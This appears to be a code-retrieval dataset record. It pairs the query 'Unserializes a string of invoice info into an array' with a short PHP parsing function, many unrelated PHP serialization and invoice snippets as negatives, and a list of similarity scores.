json_encode(\\eSagu\\Amzn\\RePricing\\V1\\ObjectSerializer::sanitizeForSerialization($this));\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) { // use JSON pretty print\n return json_encode(\\eSagu\\Amzn\\RePricing\\V1\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n }\n\n return json_encode(\\eSagu\\Amzn\\RePricing\\V1\\ObjectSerializer::sanitizeForSerialization($this));\n }", "public function __toString()\n\t{\n\t\treturn $this->serialize();\n\t}", "public function toArray()\n {\n return [\n 'id' => $this->getId(),\n 'amount' => [\n 'total' => $this->getTotal(),\n 'currency' => $this->getCurrency(),\n ],\n 'create_time' => $this->getCreateTime(),\n 'custom' => $this->getCustom(),\n 'state' => $this->getState(),\n 'invoice_number' => $this->getInvoiceNumber(),\n 'billing_agreement_id' => $this->getBillingAgreementId(),\n ];\n }", "function serialize(){\r\n\t\treturn serialize(\r\n\t\t\tarray(\r\n\t\t\t\"first\" => $this -> firstName,\r\n\t\t\t\"last\" => $this -> lastName,\r\n\t\t\t)\r\n\t\t);\r\n\t}", "public function __toString()\n {\n return \\GuzzleHttp\\json_encode($this->toArray());\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) { // use JSON pretty print\n return json_encode(\\Spinen\\ConnectWise\\Clients\\Sales\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n }\n\n return json_encode(\\Spinen\\ConnectWise\\Clients\\Sales\\ObjectSerializer::sanitizeForSerialization($this));\n }", "public function print_invoice() {\n $userid = $this->input->post('userId');\n $data = $this->get_pdf_data($userid);\n $data['user_org'] = $this->payments_model->get_user_org_details($userid);\n $data['invoice'] = $this->payments_model->get_invoice_details($data['clsid'], $data['crsid'], $userid);\n $data['meta_data'] = $this->meta_data;\n return generate_invoice($data);\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function __toString()\n {\n if (defined('JSON_PRETTY_PRINT')) {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this), JSON_PRETTY_PRINT);\n } else {\n return json_encode(\\br.com.conductor.pier.api.v2.invoker\\ObjectSerializer::sanitizeForSerialization($this));\n }\n }", "public function serialize(array $toSerialize = array())\n\t{\n\t\t$toSerialize += array(\n\t\t\t'_content' => $this->_content,\n\t\t);\n\t}", "public function serialize()\n {\n return serialize(array(\n \"id\"=>$this->getId()\n ));\n }", "public function serialize(array $toSerialize = array())\n\t{\n\t\t$toSerialize += array(\n\t\t\t'_pages' => $this->_pages,\n\t\t\t'_currentPage' => $this->_currentPage,\n\t\t\t'_name' => $this->_name,\n\t\t);\n\n\t\treturn serialize($toSerialize);\n\t}", "public function __toString(): string\n {\n $iterator = \"{\";\n $iterator .= \"\\\"index\\\":{$this->index},\";\n $iterator .= \"\\\"objectList\\\":{$this->objectList},\";\n $iterator .= \"\\\"objectListKeys\\\":[\";\n for($i = 0; $i < count($this->objectListKeys); $i++) {\n $iterator .= \"{$this->objectListKeys[$i]}\";\n if ($i !== count($this->objectListKeys)) {\n $iterator .= \",\";\n }\n }\n $iterator .= \"]}\";\n return $iterator;\n }", "public function toArray($notifiable)\n {\n return [\n 'purchase_requisition_id' => $this->purchaseRequisition->id,\n 'number' => $this->purchaseRequisition->number,\n 'message' => 'A new purchase requisition was saved',\n ];\n }", "public abstract function serialize();", "public function serialize()\n\t{\n\t\treturn json_encode(array(\n\t\t\t'data' => $this->data,\n\t\t\t'this' => $this->getArrayCopy(),\n\t\t\t'name' => $this->name,\n\t\t\t'merged' => $this->merged,\n\t\t));\n\t}", "public function jsonSerialize()\n {\n $json = array();\n $json['id'] = $this->id;\n $json['store_id'] = $this->storeId;\n $json['store_name'] = $this->storeName;\n $json['total'] = $this->total;\n $json['total_without_tax'] = $this->totalWithoutTax;\n $json['tax'] = $this->tax;\n $json['purchase_date'] = $this->purchaseDate;\n $json['recorded_at'] = $this->recordedAt;\n $json['order_number'] = $this->orderNumber;\n $json['receipt_id'] = $this->receiptId;\n $json['receipt_image_url'] = $this->receiptImageUrl;\n $json['receipt_image_urls'] = $this->receiptImageUrls;\n\n return $json;\n }", "function xf_encode($fields)\n{\n if (!is_array($fields)) {\n return '';\n }\n\n return 'SER|'.serialize($fields);\n}", "public function toString()\n\t\t{\t\t\tif (count($this->serialized) > 0 && array_key_exists(0, $this->serialized)) {\n\n\t\t\t\t// Get class of first item\n\t\t\t\t$itemName = key($this->serialized[0]);\n\t\t\t\t$root = \\ChickenWire\\Util\\Str::pluralize($itemName);\n\n\t\t\t} else {\n\t\t\t\t$root = null;\n\t\t\t}\n\t\t\t\n\t\t\t// Create XML writer\n\t\t\t$this->writer = new \\XmlWriter();\n\t\t\t$this->writer->openMemory();\n\t\t\tif (!is_null($root)) $this->writer->startElement($root);\n\t\t\t$this->write($this->serialized);\n\t\t\tif (!is_null($root)) $this->writer->endElement();\n\t\t\t$this->writer->endDocument();\n\t\t\t$xml = $this->writer->outputMemory(true);\n\n\n\n//\t\t\tvar_dump($this->serialized);\n\t\t\treturn $xml;\n\n\n\t\t\t//return json_encode($this->serialized);\n\t\t}", "public function __toString() {\n return $this->toJson($this->data);\n }", "public function getInvoiceData()\n {\n return Mage::getSingleton('core/session')->getData(\"invoice\");\n }", "public function __toString()\n\t{\n\t\t$output = '';\n\n\t\tforeach (array_keys($this->data) as $key) {\n\t\t\tif (is_array($this->data[$key])) {\n\t\t\t\t$output .= implode(PHP_EOL, $this->data[$key]) . PHP_EOL;\n\t\t\t} else {\n\t\t\t\t$output .= $this->data[$key] . PHP_EOL;\n\t\t\t}\n\t\t}\n\n\t\treturn $output;\n\t}", "public function serialize()\n {\n return serialize([\n $this->id,\n $this->firstName,\n $this->cin,\n $this->email,\n $this->password\n ]);\n }", "public function toJson(): string\n {\n $array = $this->toArray();\n return json_encode($array);\n }", "public function __toString(){\n\t\t$str = \"{ \";\n\t\tforeach ( $this->attributes as $name=>$val) {\n\t\t\tif( is_array( $val))\n\t\t\t\t$val = new xo_array($val);\n\t\t\t$str .= \"'$name' = '$val',\";\n\t\t}\n\t\t//print_r( $this->attributes);\n\t\treturn \"$str } \". count( $this->attributes) . \" magic members.\";\t\n\t}", "public function binarySerialize();", "public function __toString(): string\n {\n $aString = array();\n $aString['shape'] = 'equilateral triangle';\n $aString['side'] = $this->side;\n $aString['area'] = $this->getArea();\n $aString['perimeter'] = $this->getPerimeter();\n return json_encode($aString);\n }", "public function serialize()\n {\n return serialize(get_object_vars($this));\n }", "public function serialize()\n {\n return serialize(get_object_vars($this));\n }", "public function serialize()\n {\n return serialize(get_object_vars($this));\n }", "abstract public function serialize();", "abstract public function serialize();", "public function __toString(){\r\n\t\t$data = array();\r\n\t\t$vars = get_object_vars($this);\r\n\t\tforeach ($vars as $key => $value){\r\n\t\t\tif ($key == '_customFields'){\r\n\t\t\t\tforeach ($this->_customFields as $cfkey => $cfvalue){\r\n\t\t\t\t\t$data[] = 'CF-' . $cfkey . ': ' . $cfvalue;\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\t$data[] = $key . ': ' . $value;\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\t$string = implode(\"\\n\", $data);\r\n\t\treturn $string;\r\n\t}", "public function __toString()\n {\n return '[ respuestaSolucion ' .\n '(idRespuestaSolucion=' . $this->getIdRespuestaSolucion() . ', ' .\n 'respuesta=' . (int) $this->getRespuesta() . ', ' .\n 'solucionesIdsoluciones=' . (int)$this->getIdSolucion() . ', ' .\n\n 'usuariosId=' . (int)$this->getIdUsuario() . ', ' .\n ') ]';\n }", "public function store()\n\t{\n\t\t$invoice = $this->invoices->store();\n\n $inv_items = Input::get('invoice_items');\n foreach($inv_items as $item) {\n $prop = [\n 'invoice_id' => $invoice->id,\n 'description' => $item['description'],\n 'product_id' => $item['product']['id'],\n 'vat' => $item['vat'],\n 'quantity' => $item['quantity'],\n 'unit_price' => $item['product']['price']\n ];\n $this->invoice_items->store($prop);\n }\n return $invoice;\n\t}", "public function __construct(array $invoice)\n {\n $this->invoice = $invoice;\n }" ]
[ "0.6226235", "0.6195105", "0.6148415", "0.60845304", "0.60483354", "0.6029355", "0.59620446", "0.59481883", "0.5872718", "0.5832097", "0.58312666", "0.582704", "0.5809855", "0.58081114", "0.57989115", "0.5793982", "0.57879645", "0.5774986", "0.5703403", "0.5703403", "0.5703403", "0.5699883", "0.56751823", "0.56616014", "0.565142", "0.56469667", "0.5636177", "0.5636177", "0.5636177", "0.5636177", "0.5636177", "0.5636177", "0.56343555", "0.56343555", "0.5625914", "0.5619756", "0.56104857", "0.5586619", "0.5575548", "0.55620635", "0.55545264", "0.5547586", "0.55420613", "0.55345386", "0.55326056", "0.5531968", "0.5500296", "0.5497588", "0.54912806", "0.5479464", "0.5476373", "0.5471978", "0.54641783", "0.5457728", "0.54568833", "0.54557043", "0.54557043", "0.5452877", "0.54486644", "0.54486644", "0.5441593", "0.5433248", "0.54306394", "0.54201967", "0.5420143", "0.5412321", "0.54091614", "0.54091614", "0.54091614", "0.54091614", "0.54091614", "0.54091614", "0.54091614", "0.5406657", "0.54009086", "0.53893065", "0.53891826", "0.5388187", "0.5385075", "0.53823185", "0.53677803", "0.5361403", "0.53541774", "0.53498966", "0.53494734", "0.5345199", "0.5344929", "0.53422", "0.53373057", "0.5335703", "0.5335621", "0.53355247", "0.53355247", "0.53355247", "0.53321797", "0.53321797", "0.5330611", "0.53279483", "0.5314157", "0.5312132" ]
0.7760104
0
Unserializes a string of invoice info into an array
private function unserializeInvoices($str) { $invoices = array(); $temp = explode("|", $str); foreach ($temp as $pair) { $pairs = explode("=", $pair, 2); if (count($pairs) != 2) continue; $invoices[] = array('id' => $pairs[0], 'amount' => $pairs[1]); } return $invoices; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getInvoiceData() : array\n {\n return $this->invoiceData ?? [];\n }", "public function unserialize($data) {}", "public function unserialize($serialized);", "public function unserialize($serialized);", "function toArray($str)\n\t{\n\t\t$tmpItemArr = array_filter(explode('-dlm-',$str));\n\t\tforeach ($tmpItemArr as &$value) {\n \t\t$ItemArr = explode('-spl-', $value);\n\t\t\t$arr[$ItemArr[0]]['id'] = &$ItemArr[0]; // Item ID\n\t\t\t$arr[$ItemArr[0]]['qty'] = &$ItemArr[1]; // Item Quantity\n\t\t\t$arr[$ItemArr[0]]['cp'] = &$ItemArr[2]; // Item custom price\n\t\t\t$arr[$ItemArr[0]]['order'] = &$ItemArr[3]; // Item order\n\t\t}\n\t\treturn $arr;\n\t}", "function deserialise(string $data): void;", "function MBunserialize($serial_str)\n{\n $serial_str = preg_replace_callback('!s:(\\d+):\"(.*?)\";!s', function($match){return 's:'.strlen($match['2']).':\"'.$match['2'] . '\";';}, $serial_str);\n $serial_str= str_replace(\"\\r\", \"\", $serial_str);\n return unserialize($serial_str);\n}", "public function toArray($notifiable)\n {\n return $this->invoice;\n }", "abstract public function unserialize($serialized);", "public function parseFromArray()\n {\n $this->value = $this->reader->next();\n }", "public function ParseFromArray() {\n $this->value = $this->reader->next();\n $this->clean();\n }", "abstract protected function unserializeData(array $data);", "function getFormattedDataArray($str) {\n $replaced_str = str_replace(\"\\,\", \"&888;\", $str);\n $data_array = explode(\"\\n\", $replaced_str);\n array_pop($data_array);\n return $data_array;\n }", "function unserialize($str)\n{\n}", "public function unserialize($string)\n {\n $result = array();\n parse_str($string, $result);\n\n return $result;\n }", "public function testSalesInvoiceLineHasCorrectToArray()\n {\n $line = new SalesInvoiceLine('itemId123', 2, 10.99, 2.00, 1.0, 3.50);\n $array = $line->toArray();\n\n $this->assertArrayHasKey('ItemId', $array);\n $this->assertArrayHasKey('Quantity', $array);\n $this->assertArrayHasKey('UnitPrice', $array);\n $this->assertArrayHasKey('DiscountAmount', $array);\n $this->assertArrayHasKey('DiscountPercent', $array);\n $this->assertArrayHasKey('UnitCost', $array);\n\n $this->assertCount(6, $array);\n }", "public function unserialize($serialized)\n {\n }", "abstract public function data2Array($data);", "#[\\ReturnTypeWillChange]\n public function unserialize($data)\n {\n }", "function _scsv_to_array( string $string, bool $to_json = false ) {\n\t\treturn IMFORZA_Utils::scsv_to_array( $string, $to_json );\n\t}", "function __unserialize($sObject) {\n\t$__ret =preg_replace('!s:(\\d+):\"(.*?)\";!e', \"'s:'.strlen('$2').':\\\"$2\\\";'\", $sObject );\n\treturn unserialize($__ret);\n}", "public function deserialize($data);", "public function unserialize(string $serializedData): array\n {\n $encodedFields = $this->serializer->unserialize($serializedData);\n\n if (!is_array($encodedFields)) {\n throw new \\InvalidArgumentException('Unable to unserialize value.');\n }\n\n $formData = [];\n foreach ($encodedFields as $item) {\n $decodedFieldData = [];\n parse_str($item, $decodedFieldData);\n $formData = array_replace_recursive($formData, $decodedFieldData);\n }\n\n return $formData;\n }", "public function __unserialize(array $data): void\n {\n $this->createFromArray($data);\n }", "abstract protected function unSerializeData();", "public function decode ($raw) {\n\t\t$this->data = $raw;\n\t\t$this->data = $raw;\n\t\treturn array();\n\t}", "function unserialize ( $data ) {\n return unserialize( $data );\n }", "public function _unserialize($data)\n\t{\n\t\treturn json_decode($data, TRUE);\n\t}", "public function unserialize($serialized)\n {\n // older data which does not include all properties.\n $data = array_merge(unserialize($serialized), array_fill(0, 2, null));\n\n list($this->email, $this->id) = $data;\n }", "public function __construct(array $invoice)\n {\n $this->invoice = $invoice;\n }", "private function arrayFromBlob($blob){\n return json_decode($blob, true);\n }", "public function toArray(): array\n {\n $receipt_items = [];\n foreach ($this->items as $receipt_item) {\n if ($receipt_item instanceof Item) {\n $receipt_items[] = $receipt_item->toArray();\n }\n }\n\n return \\array_filter([\n 'Items' => $receipt_items,\n 'calculationPlace' => $this->calculation_place,\n 'taxationSystem' => $this->taxation_system,\n 'email' => $this->email,\n 'phone' => $this->phone,\n 'isBso' => $this->is_bso,\n 'amounts' => [\n 'electronic' => \\number_format((float) $this->electronic_amount, 2, '.', ''),\n 'advancePayment' => \\number_format((float) $this->advance_payment_amount, 2, '.', ''),\n 'credit' => \\number_format((float) $this->credit_amount, 2, '.', ''),\n 'provision' => \\number_format((float) $this->provision_amount, 2, '.', ''),\n ],\n ]);\n }", "public function getInvoicesData($invoices): array\n {\n $invoicesData = [];\n\n if ($invoices->count()) {\n\n $invoicesData['invoices'] = $this->createInvoicesData($invoices);\n\n if ($invoices instanceof LengthAwarePaginator) {\n $invoicesData['links'] = $invoices->links();\n }\n }\n\n return $invoicesData;\n }", "function xml2array($xml_string)\n {\n return \\Findforsikring\\Support\\Converters::xml2Array($xml_string);\n }", "protected function processFrom(string $string): array\n {\n return \\json_decode($string, true);\n }", "abstract public static function decode($string): array;", "public function deserializeAll(string $data);", "public function convertItemArray() {}", "public function unserialize($serialized) \n {\n return list(\n $this->boardingCardId,\n $this->arrival, \n $this->departure, \n $this->passenger,\n $this->reference,\n $this->busNo,\n $this->platformNo,\n ) = unserialize($serialized);\n }", "public function getInvoices(array $params) : array {\n\n $query = $this->validateGetInvoices($params);\n\n if (array_key_exists('supplierId', $params) && count($params['supplierId']) > 0){\n foreach ($params['supplierId'] as $supplier){\n $query .= \"&supplierId=\".$supplier;\n }\n }\n\n $invoices = $this->request('/resto/api/documents/export/incomingInvoice', $this->key, 'GET', [], $query);\n\n $invoiceList = new SimpleXMLElement($invoices);\n $i = 0;\n foreach ($invoiceList->document as $inv){\n $this->invoices[] = new InvoiceObject(\n strval($inv->id),\n strval($inv->transportInvoiceNumber),\n strval($inv->incomingDate),\n strval($inv->supplier),\n strval($inv->defaultStore),\n strval($inv->dateIncoming),\n strval($inv->documentNumber),\n strval($inv->incomingDocumentNumber),\n strval($inv->conception),\n strval($inv->status),\n strval($inv->distributionAlgorithm)\n );\n\n foreach ($inv->items->item as $item) {\n $this->invoices[$i]->items[] = new InvoiceItemObject(\n strval($item->product),\n strval($item->productArticle),\n strval($item->supplierProduct),\n strval($item->supplierProductArticle),\n floatval($item->amount),\n strval($item->amountUnit),\n floatval($item->actualAmount),\n strval($item->store),\n strval($item->code),\n floatval($item->price),\n floatval($item->priceWithoutVat),\n floatval($item->sum),\n floatval($item->vatPercent),\n floatval($item->vatSum),\n floatval($item->discountSum),\n strval($item->num)\n );\n }\n\n\n $i++;\n }\n\n return $this->invoices;\n\n }", "public function create(array $invoicePayload): array\n {\n return Billingo::post('invoices', $invoicePayload);\n }", "#[\\ReturnTypeWillChange]\n public function __unserialize($data)\n {\n }", "public function getInvoices()\n {\n return (array) $this->invoices;\n }", "public function dataForInvoice() {\n\t\t\t\n\t\t\t$data = [\n\t\t\t 'booking_reference' => $this->reference,\n\t\t\t 'booking_date' => Utility::dateTimeLocale($this->updated_at, false),\n\t\t\t 'user_booking_fullname' => $this->user_booking_fullname,\n\t\t\t 'user_booking_address' => $this->user_booking_address,\n\t\t\t 'user_booking_locality' => $this->user_booking_full_locality,\n\t\t\t 'user_booking_email' => $this->user_booking_email,\n\t\t\t 'user_booking_tax_code' => $this->user->customer->taxCode,\n\t\t\t 'apartment_owner_fullname' => $this->apartment_owner_fullname,\n\t\t\t 'apartment_owner_tax_code' => $this->apartmentOwner->customer->taxCode,\n\t\t\t 'apartment_owner_address' => $this->apartment_owner_address,\n\t\t\t 'apartment_owner_locality' => $this->apartment_owner_full_locality,\n\t\t\t 'apartment_owner_email' => $this->apartment_owner_email,\n\t\t\t 'apartment_title' => $this->apartment_title,\n\t\t\t 'apartment_price_per_night' => $this->apartment_price_per_night,\n\t\t\t 'check_in' => Utility::dateTimeLocale($this->check_in, false),\n\t\t\t 'check_out' => Utility::dateTimeLocale($this->check_out, false),\n\t\t\t 'nights_count' => Utility::diffInDays($this->check_in, $this->check_out),\n\t\t\t 'total_amount' => $this->bookingAmount(),\n\t\t\t 'has_upgrades' => $this->bookedServices()->exists(),\n\t\t\t];\n\t\t\tif ($data['has_upgrades']) {\n\t\t\t\t$data['upgrades'] = [];\n\t\t\t\tforeach ($this->bookedServices()->get() as $bookedService) {\n\t\t\t\t\t$data['upgrades'][] =\n\t\t\t\t\t [\n\t\t\t\t\t\t'name' => $bookedService->name,\n\t\t\t\t\t\t'price_per_night' => $bookedService->price_per_night,\n\t\t\t\t\t ];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $data;\n\t\t}", "function _unserialize( $serial ) {\n\t\tif( function_exists( 'gzinflate' ) ) {\n\t\t\t$decomp = @gzinflate( $serial );\n\t\t\tif( false !== $decomp ) {\n\t\t\t\t$serial = $decomp;\n\t\t\t}\n\t\t}\n\t\treturn unserialize( $serial );\n\t}", "function InfGetInvoice($inf_contact_id, $inf_invoice_id) {\n\t$object_type = \"Invoice\";\n\t$class_name = \"Infusionsoft_\" . $object_type;\n\t$object = new $class_name();\n\t$objects = Infusionsoft_DataService::query(new $class_name(), array('ContactId' => $inf_contact_id, 'Id' => $inf_invoice_id));\n\n $invoice_details = false;\n foreach ($objects as $i => $object) {\n\t\t$array = $object->toArray();\n $invoice_details = $array;\n }\n\treturn $invoice_details;\n}", "function InfGetInvoices($inf_contact_id, $pay_status = 0) {\n\t$object_type = \"Invoice\";\n\t$class_name = \"Infusionsoft_\" . $object_type;\n\t$object = new $class_name();\n\t$objects = Infusionsoft_DataService::query(new $class_name(), array('ContactId' => $inf_contact_id, 'PayStatus' => $pay_status));\n\n $invoices_array = array();\n foreach ($objects as $i => $object) {\n\t\t// Give it a userful index, ie, inf_invoice_id\n\t\t$array = $object->toArray();\n $invoices_array[$array['Id']] = $array;\n }\n\treturn $invoices_array; \n}", "public function unserialize($serialized)\n {\n $this->data = unserialize($serialized);\n }", "public function parse2array() {\n\t\t/**\n\t\t * Thanks to Vladimir Struchkov <great_boba yahoo com> for providing the\n\t\t * code to extract base64 encoded values\n\t\t */\n\n\t\t$arr1 = explode( \"\\n\", str_replace( \"\\r\", '', $this->rawdata ) );\n\t\t$i = $j = 0;\n\t\t$arr2 = array();\n\n\t\t/* First pass, rawdata is splitted into raw blocks */\n\t\tforeach ( $arr1 as $v ) {\n\t\t\tif ( trim( $v ) == '' ) {\n\t\t\t\t++ $i;\n\t\t\t\t$j = 0;\n\t\t\t} else {\n\t\t\t\t$arr2[ $i ][ $j ++ ] = $v;\n\t\t\t}\n\t\t}\n\n\t\t/* Second pass, raw blocks are updated with their name/value pairs */\n\t\tforeach ( $arr2 as $k1 => $v1 ) {\n\t\t\t$i = 0;\n\t\t\t$decode = false;\n\t\t\tforeach ( $v1 as $v2 ) {\n\t\t\t\tif ( ereg( '::', $v2 ) ) { // base64 encoded, chunk start\n\t\t\t\t\t$decode = true;\n\t\t\t\t\t$arr = explode( ':', str_replace( '::', ':', $v2 ) );\n\t\t\t\t\t$i = $arr[0];\n\t\t\t\t\t$this->entries[ $k1 ][ $i ] = base64_decode( $arr[1] );\n\t\t\t\t} elseif ( ereg( ':', $v2 ) ) {\n\t\t\t\t\t$decode = false;\n\t\t\t\t\t$arr = explode( ':', $v2 );\n\t\t\t\t\t$count = count( $arr );\n\t\t\t\t\tif ( $count != 2 ) {\n\t\t\t\t\t\tfor ( $i = $count - 1; $i > 1; -- $i ) {\n\t\t\t\t\t\t\t$arr[ $i - 1 ] .= ':' . $arr[ $i ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$i = $arr[0];\n\t\t\t\t\t$this->entries[ $k1 ][ $i ] = $arr[1];\n\t\t\t\t} else {\n\t\t\t\t\tif ( $decode ) { // base64 encoded, next chunk\n\t\t\t\t\t\t$this->entries[ $k1 ][ $i ] .= base64_decode( $v2 );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->entries[ $k1 ][ $i ] = $v2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function unserialize($serialized)\n {\n $data = unserialize($serialized);\n\n //TODO load references with id ?\n }", "public function unserialize($serialized=null){ }", "public function unserialize($serialized)\n {\n list (\n $this->id,\n $this->usuario,\n $this->clave,\n ) = unserialize($serialized);\n }", "public function unserializeValue($value)\n {\n if (is_numeric($value)) {\n return [$this->fixQty($value)];\n }\n if (is_string($value) && !empty($value)) {\n return unserialize($value);\n }\n return [];\n }", "public function decode(string $row): array\n {\n $rows = explode(PHP_EOL, rtrim($row));\n return array_map(function($row) { return json_decode($row, true); }, $rows);\n }", "public function toArray() {\r\n return preg_split(\"/\\r?\\n/\", $this->contents);\r\n }", "private function loadFromString($input) {\n\t//--\n\t$lines = explode(\"\\n\", (string)$input);\n\t//--\n\tforeach($lines as $k => $v) {\n\t\t$lines[$k] = (string) rtrim((string)$v, \"\\r\");\n\t} //end foreach\n\t//--\n\treturn (array) $lines;\n\t//--\n}", "public function exchangeArray($data)\n {\n $this->reg_id = (isset($data['reg_id'])) ? $data['reg_id'] : null;\n $this->pro_id = (isset($data['pro_id'])) ? $data['pro_id'] : null;\n $this->reg_pro_tipo = (isset($data['reg_pro_tipo'])) ? $data['reg_pro_tipo'] : null;\n $this->reg_pro_version_cliente = (isset($data['reg_pro_version_cliente'])) ? $data['reg_pro_version_cliente'] : null;\n }", "public function convertSaleItemsData();", "protected function xml2array($xmlstring){\n\t\t$xml = simplexml_load_string($xmlstring, \"SimpleXMLElement\", LIBXML_NOCDATA);\n\t\t$jsonData = json_encode($xml);\n\t\treturn json_decode($jsonData, true);\n\t}", "public function getInvoiceData()\n {\n return Mage::getSingleton('core/session')->getData(\"invoice\");\n }", "public function get_invoice()\n\t{\t\t\n\t\t$invoiceid = Input::get('invoiceid');\n\t\t$invoice_job = DB::table('tbl_invoices')->where('invoice_number','=',$invoiceid)->first();\n\t\tif(!empty($invoice_job))\n\t\t{\n\t\t\t$ser_id=$invoice_job->customer_id;\n\t\t\t$grand_total=$invoice_job->grand_total;\n\t\t\t$paid_amount=$invoice_job->paid_amount;\n\t\t\t$total=$grand_total - $paid_amount ;\n\t\t\treturn array($ser_id, $total);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn 01;\n\t\t}\n\t}", "public function toArray(): array\n {\n return parent::toArray()['payment'];\n }", "protected function unserializeValue($value)\n\t{\n\t\tif ($value[0] == '{' || $value[0] == '[') {\n\t\t\treturn (array)json_decode($value, true);\n\t\t} elseif (in_array(substr($value, 0, 2), ['O:', 'a:'])) {\n\t\t\treturn (array)unserialize($value);\n\t\t} elseif (is_numeric($value)) {\n\t\t\treturn (array)$value;\n\t\t} else {\n\t\t\treturn [];\n\t\t}\n\t}", "public function unserialize($serialized)\n {\n $data=unserialize($serialized);\n $this->id=$data['id'];\n\n }", "private function getInvoiceXML(string $filename) : array\n {\n\n $contents = $this->readXMLFile($filename);\n if (empty($contents)) return [];\n\n return ParserXML::xml2array($contents)['Document-Invoice'] ?? [];\n }", "public function unserialize($serialized)\n {\n $raw = unserialize($serialized);\n\n $this->setIdentity($raw['identity']);\n $this->setName($raw['name']);\n $this->setEmailAddress($raw['emailAddress']);\n }", "public function decode(string $row): array\n {\n return [$row];\n }", "public static function unserialize($xml)\n {\n $sxml = new \\SimpleXMLElement($xml);\n\n return self::_sxml2arr($sxml);\n }", "public function importArray($data);", "public function transform($valueAsString)\n {\n if (empty($valueAsString)) {\n return [];\n }\n return unserialize($valueAsString);\n }", "public function getInvoiceInfo()\n {\n return $this->get(self::INVOICEINFO);\n }", "protected static function data_to_array($data)\n {\n return json_decode(json_encode($data), true);\n }", "public function unserialize($data)\n {\n $data = @base64_decode($data);\n if ($data === false) {\n trigger_error('Failed to decode serialized data', E_USER_ERROR);\n return;\n }\n $crypt = $this->getCrypt();\n $data = $crypt->decrypt($data);\n $data = @unserialize($data);\n if (!is_array($data)) {\n trigger_error('Failed to decode serialized data', E_USER_ERROR);\n return;\n }\n parent::unserialize($data);\n }", "function _loadDataText() {\r\n\t\treturn unserialize(file_get_contents($this->data_txt));\r\n\t}", "private function multi_byte_string_to_array()\n {\n $this->strings = array_values(\n array_filter(\n preg_split(\"//u\",$this->string),\n \"strlen\"\n )\n );\n }", "function unserialize($data){\r\n\t\t$data = unserialize($data);\r\n\t\t$this -> firstName = $data['first'];\r\n\t\t$this -> lastName = $data['last'];\r\n\t}", "private function strToArray($email)\n {\n if( is_array($email) ) {\n return $this->cleanEmail($email);\n }\n else {\n \n $rcpt_break = explode(',', $email);\n \n if( count($rcpt_break) > 0 )\n return $this->cleanEmail($rcpt_break);\n else\n return $this->cleanEmail(array($email));\n }\n }", "public function fromString($string)\n {\n if (empty($string)) {\n return array();\n }\n\n return \\Zend\\Json\\Json::decode(\n $string,\n \\Zend\\Json\\Json::TYPE_ARRAY\n );\n }", "public function proformaToNormal($invoiceId): array\n {\n return Billingo::get(\"invoices/{$invoiceId}/generate\");\n }", "function toCustomerArray();", "public static function xml2array( $xmlObject ) {\n\t\t$json = json_encode( $xmlObject );\n\t\treturn json_decode( $json, TRUE );\n\t}", "public function deserialize($data)\n {\n }", "function maybe_unserialize($data)\n {\n }", "public function jsonToArray( $string )\n {\n return json_decode( $string, true );\n }", "function icedrive_response_to_array($response)\r\n {\r\n libxml_use_internal_errors(true);\r\n $xml = simplexml_load_string(str_replace(':', '', $response));\r\n $xml = json_encode($xml);\r\n $xml = json_decode($xml, true);\r\n return $xml;\r\n }", "private function getInvoiceProductsDetails(Invoice $invoice): array\n {\n $invoiceProductsData = [];\n $allProductsSum = 0;\n\n foreach ($invoice->invoiceProducts as $invoiceProduct) {\n\n $invoiceProductSum = $invoiceProduct->quantity * $invoiceProduct->price;\n\n $allProductsSum += $invoiceProductSum;\n\n $invoiceProductsData[] = [\n 'productId' => $invoiceProduct->product->id,\n 'title' => $invoiceProduct->product->page_title,\n 'quantity' => $invoiceProduct->quantity,\n 'price' => $invoiceProduct->price,\n 'sum' => $invoiceProductSum,\n ];\n }\n\n return [\n 